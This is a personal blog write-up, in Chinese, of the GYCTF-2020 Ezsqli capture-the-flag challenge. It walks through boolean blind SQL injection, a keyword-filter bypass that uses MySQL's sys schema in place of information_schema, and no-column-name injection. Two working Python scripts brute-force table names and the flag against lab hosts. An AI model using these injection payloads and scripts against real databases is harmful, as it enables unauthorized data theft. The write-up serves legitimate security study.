suyumen
目前主要在学习web相关

GYCTF-2020-Ezsqli

2021-05-08 sql注入 布尔盲注
Word count: 851 | Reading time: 3min

看题目是sql注入相关,正好开始学一下。

初始站点有个post框框,输个1进去抓包,了解到参数是$id,转到intruder模块随便拿了个payload对$id爆破一下,发现几种回显:

Nu1L
bool(false)
SQL Injection Checked.
Error Occured When Fetch Result.
V&N

通过SQL Injection Checked.发现and,or,information_schema,union select被过滤了

不报数据库语法错误信息,反而有很奇怪的Nu1LV&N,像布尔盲注

盲注原理:屏蔽了报错信息,无法通过报错信息来进行注入判断。
布尔盲注:无论输入什么,只显示真假。

但是我只知道布尔盲注这个名字(微笑)。经过一番学习,明白了一点儿。

手动测一下库长

2||length(database())>10回显Nu1L
2||length(database())>21回显V&N
2||length(database())>=21回显Nu1L

写脚本之前还要先学一下绕过information_schema,翻翻别的师傅的博客,了解到:

infromation_schema库的作用就是获取table_schema,table_name,column_name数据库内的信息。

由于performance_schema过于繁复,所以mysql5.7版本中新增了sys schemma,基础数据来自于performance_chemainformation_schema两个库,本身数据库不存储数据。

因此可以用:

1
select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()

替换

1
select table_name from information_schema.tables where table_schema=database()

其中:

1
group_concat ( [distinct(去冗余)] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )默认以,分隔

看别人wp有用异或注入的,简单了解一下MYSQL里的异或注入
^连接的两个表达式,如果结果相同判断为假,结果不同判断为真。

还有直接用||的。

理解了一下别人写的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url = 'http://b3d1bb3e-6f48-428e-b19c-295582ef73cd.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'

result = ''

for j in range(1, 150):
for i in range(32, 127):
py = payload.format(j, i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break

爆出库名:
users233333333333333
f1ag_1s_h3r3_hhhhh

然后是无列名注入:

无列名注入

1
(select 1,{})>(select * from f1ag_1s_h3r3_hhhhh)

替换

1
select b from (select 1,2,3 as b union select * from admin)a;

研究一下别人的脚本:
总思路就是通过字符串比较,要注意-符号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/'

def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res

flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break

再转一下小写得到flag,太艰难了吧。。


tips

1.information_schema 被过滤时,考虑无列名注入。

2.了解一下sys.schema_table_statistics_with_buffer

3.还有今天才学会markdown可以给代码上语言格式。。我好迟钝。


参考

https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/

https://blog.csdn.net/weixin_43940853/article/details/106164162

https://www.anquanke.com/post/id/193512

https://www.cnblogs.com/xinysu/p/7356046.html

https://www.gem-love.com/ctf/1782.html

Author: suyumen

Link: https://suyumen.github.io/2021/05/08/2021-05-08-[GYCTF2020]Ezsqli/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
FBCTF2019-Event
NextPost >
GYCTF-2020-Easyphp
CATALOG
  1. 1. 无列名注入
  2. 2. tips
    1. 2.1. 参考